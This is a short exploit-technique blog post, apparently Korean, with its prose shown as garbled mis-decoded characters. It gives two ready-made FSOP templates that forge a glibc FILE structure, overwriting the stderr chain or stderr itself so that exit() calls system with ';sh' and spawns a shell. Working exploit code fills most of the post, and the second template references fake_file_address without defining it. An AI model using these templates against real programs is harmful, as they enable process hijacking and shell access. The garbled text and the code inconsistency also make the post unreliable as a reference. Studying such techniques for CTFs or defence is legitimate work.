[Exploit Tech Analysis][FSOP] Template for Shell

FSOP์— ๋Œ€ํ•œ ์ดํ•ด๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.
์ž์„ธํ•œ ๋‚ด์šฉ์€ ์ด ๊ธ€์„ ์ฐธ๊ณ ํ•˜์„ธ์š”.

1. Heap์— ๋งŒ๋“ค๊ณ  chain ๋ฎ๊ธฐ

  • heap leak์ด ๋œ ์ƒํƒœ
  • libc leak์ด ๋œ ์ƒํƒœ
  • ์ตœ์†Œ 0x8 ๋ฐ”์ดํŠธ ์ด์ƒ์˜ AAW Primitive
  • ์ •์ƒ์ ์ธ ์ข…๋ฃŒ (exit() ํ˜ธ์ถœ / main์—์„œ return)
# stderr / stdout / stdin์˜ chain์„ ํž™์ƒ์˜ ๊ฐ€์งœ file struct๋กœ ๋ฐ”๊ฟ”์•ผ ํ•จ
# offset: +0x68
write(_IO_2_1_stderr_+0x68, fake_file_address)

fs = FileStructure()
fs.flags = 0x00000000fbad2404 & (~0x10) & (~0x4) & (~0x02)
fs.flags = fs.flags | 1 | int.from_bytes(b";sh", 'little') << (4 * 8)
fs._IO_read_end = fake_file_address
fs._lock = fake_file_address + 0x100  # ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ์ฃผ์†Œ๋ฉด ์–ด๋””๋“  OK
fs._wide_data = fake_file_address - 0x10
fs.unknown2 = p64(0) * 3 + p64(1) + p64(libc.symbols["system"]) + p64(fake_file_address + 0x60)
fs.vtable = libc.symbols["_IO_wfile_jumps"]
fs._IO_write_base = 0

write(fake_file_address, bytes(fs))

2. ๊ตฌ์กฐ์ฒด ์ž์ฒด๋ฅผ ๋ฎ๊ธฐ

  • libc leak์ด ๋œ ์ƒํƒœ
  • ์ตœ์†Œ 0xe0 ์ด์ƒ์˜ AAW Primitive
  • ์ •์ƒ์ ์ธ ์ข…๋ฃŒ (exit() ํ˜ธ์ถœ / main์—์„œ return)
target = _IO_2_1_stdout_ | _IO_2_1_stderr_ | _IO_2_1_stdin_
# ์ถ”์ฒœ: stderr

fs = FileStructure()
fs.flags = 0x00000000fbad2404 & (~0x10) & (~0x4) & (~0x02)
fs.flags = fs.flags | 1 | int.from_bytes(b";sh", 'little') << (4 * 8)
fs._IO_read_end = libc.symbols["_IO_2_1_stderr_"]
fs._lock = libc.bss() + 0x100  # ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ์ฃผ์†Œ๋ฉด ์–ด๋””๋“  OK
fs._wide_data = fake_file_address - 0x10
fs.unknown2 = p64(0) * 3 + p64(1) + p64(libc.symbols["system"]) + p64(libc.symbols["_IO_2_1_stderr_"] + 0x60)
fs.vtable = libc.symbols["_IO_wfile_jumps"]
fs._IO_write_base = 0

write(fake_file_address, bytes(fs))

_IO_2_1_stderr ์ด์™ธ์˜ ๋‹ค๋ฅธ ๊ตฌ์กฐ์ฒด๋ฅผ ์“ฐ๊ณ  ์‹ถ๋‹ค๋ฉด ๋ฐ”๊ฟ”์ฃผ๋ฉด ๋˜์ง€๋งŒ ํ™”๋ฉด์— ์ถœ๋ ฅ์ด ์•ˆ ๋˜๊ฑฐ๋‚˜ ์ž…๋ ฅ์„ ๋ชป ๋ฐ›๋Š” ์ƒํ™ฉ์ด ์ƒ๊ธธ ๊ฐ€๋Šฅ์„ฑ์ด ๋‹ค๋ถ„ํ•จ!

Leave a comment